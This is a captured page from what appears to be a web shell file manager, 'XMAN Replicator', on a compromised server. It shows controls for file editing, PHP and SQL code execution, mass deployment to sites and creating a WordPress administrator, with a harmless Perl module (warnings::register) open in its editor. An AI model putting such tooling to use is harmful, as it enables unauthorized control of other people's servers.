🛸 XMAN Replicator
English
Русский
Français
Quit
Path:
/
usr
/
share
/
perl5
/
warnings
/
📋 نشر إلى المواقع
👤 إنشاء مشرف WP
Upload
Make directory
Name
Size
Rights
Date
Actions
[.]
<DIR>
drwxr-xr-x
2025-07-29 01:41
🔄
🗑️
🗑️📁
⬇️
🔒
[..]
<DIR>
drwxr-xr-x
2025-07-29 01:41
🔄
🗑️
🗑️📁
⬇️
🔒
register.pm
759 B
-rw-r--r--
2025-07-28 08:07
✏️
🔄
🗑️
⬇️
🔒
Edit: register.pm
package warnings::register; our $VERSION = '1.04'; require warnings; # left here as cruft in case other users were using this undocumented routine # -- rjbs, 2010-09-08 sub mkMask { my ($bit) = @_; my $mask = ""; vec($mask, $bit, 1) = 1; return $mask; } sub import { shift; my @categories = @_; my $package = (caller(0))[0]; warnings::register_categories($package); warnings::register_categories($package . "::$_") for @categories; } 1; __END__ =pod =head1 NAME warnings::register - warnings import function =head1 SYNOPSIS use warnings::register; =head1 DESCRIPTION Creates a warnings category with the same name as the current package. See L<warnings> for more information on this module's usage. =cut
Save
PHP Console
Execute
SQL Console
Execute